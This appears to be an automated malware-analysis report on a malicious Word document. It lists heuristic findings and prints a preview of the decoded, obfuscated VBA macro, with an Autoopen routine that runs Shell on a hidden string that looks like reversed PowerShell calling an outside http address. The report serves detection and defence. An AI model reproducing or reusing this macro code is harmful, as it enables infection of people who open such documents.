MALICIOUS
122
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Office document containing a legacy WordBasic AutoOpen macro, indicated by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. The VBA macros are obfuscated, but the presence of the AutoOpen macro suggests an attempt to automatically execute code upon opening the document. The large slack space in the OLE structure is also a suspicious indicator.
Heuristics 5
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OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 157,696 bytes but its declared streams total only 35,953 bytes — 121,743 bytes (77%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 34178 bytes |
SHA-256: b38b58db4e41d19d5279b5828f6e5f80c7bd8e14a3ac43cabc72209d7dd59f29 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "RTCKsbDEv"
Sub EVfDAV(ktFwts)
VpBNVO = banvT
wDLkzm = rIvGaE + CDbl(7573 - pDSYb - pCZpj + CDbl(63518)) - 46994 - CDbl(54504)
rIjuwj = VBGDrN
vnRKOm = 45179
XsGHB = uNFQPN
wtJFa = hQSXc + CDbl(54309 - dCRWJ - XWkonq + CDbl(60847)) - 91256 - CDbl(52135)
AmbArz = IEodpE
UiftI = 84364
End Sub
Sub zbFMQii(VwYISNiEw As String)
On Error Resume Next
jHZphN = VPvMG
RlAcQj = JRVMh + CDbl(33827 - TJLmnj - RiCKKk + CDbl(76110)) - 74673 - CDbl(80063)
Rjanid = dcinR
NHPhlM = 6592
ZXnAG = RFvVWc
uwqskf = IKADz + CDbl(86639 - CvDBam - rMnmbi + CDbl(72105)) - 45881 - CDbl(63225)
RpJSJ = oBjuA
WkANJ = 28741
[Shell] rUvqsDl + Chr(vbKeyC) + VwYISNiEw + FJAXk + nmKjWsWPAt, 55955 + 0 - 55955
jcpDmN = WNosV
QOXVis = XPljzp + CDbl(57692 - WocTBw - awzTv + CDbl(61332)) - 1011 - CDbl(45000)
uQLTHU = jINTT
GFwjhA = 48766
ZTAHo = VPwzXs
ohiKfB = wLofpj + CDbl(80123 - WLzAwc - zLMTt + CDbl(60935)) - 33531 - CDbl(22172)
wbvSY = ZCwmQ
fVRFm = 52269
End Sub
Attribute VB_Name = "MjtwMfazQA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub dFnKn(kcZTz)
PztzO = ImTmM
TRnqS = dfOSKz + CDbl(82980 - PSXABz - JiPRF + CDbl(40334)) - 91429 - CDbl(60760)
jrtbrW = uKwpS
znuGQ = 89482
End Sub
Sub PTkMuK(YYNHiA)
lSGPGs = cqEKz
lbXwE = pPNGj + CDbl(64211 - nuVwoH - XMVnr + CDbl(18004)) - 3264 - CDbl(79893)
dfCvIz = BOChKU
LaiaF = 11321
tQDhi = FkHvz
ckbim = qzUil + CDbl(49963 - CoJMJ - wjijPz + CDbl(27404)) - 58702 - CDbl(46946)
QHHhJr = kwvCPI
KidZbk = 91994
wMCQz = LiXtR
Dbisz = AZQNj + CDbl(63792 - sZkWoC - vtIvit + CDbl(88383)) - 74911 - CDbl(46950)
YJzCj = AlbQkW
ljVpF = 52847
End Sub
Sub IiqiKK(jNEQN)
zoWjY = pklNl
ZmXOJ = oLzIp + CDbl(37682 - rYQRX - AWVHw + CDbl(19330)) - 73332 - CDbl(32587)
lqXVEa = YvUEBc
DqzCQ = 63454
ZTNqlj = ibEXm
ZHkTPs = AVwTV + CDbl(44808 - RRwHV - MMWKiS + CDbl(88771)) - 64396 - CDbl(87996)
PjOlc = FjnXaj
XtVOM = 74608
End Sub
Sub Autoopen()
On Error Resume Next
izBCi = kaozw
GAjmH = sVLQTw + CDbl(17331 - IzRJDh - jpSfLH + CDbl(28972)) - 21855 - CDbl(60901)
qZCdDq = NdURC
dCtBE = 72084
zbFMQii (ftQda + DSBvnYXniSDYD + OHvdc)
fZdZG = FJKvaN
dbpcSG = ZWLwI + CDbl(47092 - sbzSz - IWozdn + CDbl(2639)) - 99412 - CDbl(54231)
jSCAwj = idWSj
NjQiw = 25248
End Sub
Sub LdbWUH(pzfFKz)
cdFXG = CVpcY
NbSNE = mumFr + CDbl(62673 - pwjfzR - mklCK + CDbl(20404)) - 80426 - CDbl(8655)
qnwzwt = WlaAX
lWmZr = 34038
SqrKQ = dqPDuO
PwSsij = lNtXRk + CDbl(67474 - OQlTYs - zwnhK + CDbl(30131)) - 40966 - CDbl(12887)
jlpnpE = qIVaFw
tfDfb = 98721
bqpCw = FBYjP
Lrfuv = KXuLC + CDbl(33705 - DcuBH - tHQEuA + CDbl(71128)) - 85520 - CDbl(66991)
pjpLwl = OlHVRc
QoYut = 86488
End Sub
Sub zRvWz(mkuKQb)
FbMGJR = fQzOb
toGcqz = dqRuoz + CDbl(81913 - dqzEqs - ocRlb + CDbl(85809)) - 59500 - CDbl(65745)
juTBz = SURlFP
SRKbK = 4244
End Sub
Attribute VB_Name = "CJlmbAdKEXz"
Sub IANufo(zYcmFn)
iKAbA = cHOWJh
zAHPuo = HJEWi + CDbl(73833 - CCaWj - YWTJcW + CDbl(29479)) - 41781 - CDbl(373)
qlzOuw = MsRjv
FdwOP = 49570
End Sub
Function DSBvnYXniSDYD()
On Error Resume Next
ozciC = jznXYl
YNlhY = ElNiP + CDbl(36609 - BOjjIA - uzqIPL + CDbl(37778)) - 34676 - CDbl(35830)
Usuow = sPpqVU
VNPZZS = 33858
hnZIY = WwkKW
dEdPD = PwhnmT + CDbl(6116 - CDOrZ - uhTmt + CDbl(14422)) - 6841 - CDbl(90486)
UjsDYb = uoVZj
suBFE = 24898
ZVEzYij = ZHhJP("%Ll0,k0)'x'+]31[dIlLEhS$+]1[DiLLeHs$ ( &|)93]rAhCnz", 74930 + 3 - 74930, 74930 + 42 - 74930)
TjtkM = vlqWw
UYNDtQ = kpIaVA + CDbl(51481 - oZlnCq - GkqHrL + CDbl(60301)) - 54007 - CDbl(6950)
ZtOpi = HpZcZK
XklfG = 22186
Wruqaq = fsboWw
btCzh = wUqPw + CDbl(53493 - anVnV - Dukmi + CDbl(53174)) - 8642 - CDbl(40417)
uFIkbB = tQIYBk
Aiswi = 37913
PXODrqvnmz = ZHhJP("4zziVVadjQ+djQrtnicalleidj'+'Q+djQzarg/'+'/djQ+djQ:ptth xGdjQ+djQS =djQ+djQ djQ+djQXdjQ+djQCDAUIG;'+'djQ+djQ)3djQ+djQ312'+'82 ,0000djQ+djQ'+'1(txendjQ
... (truncated)
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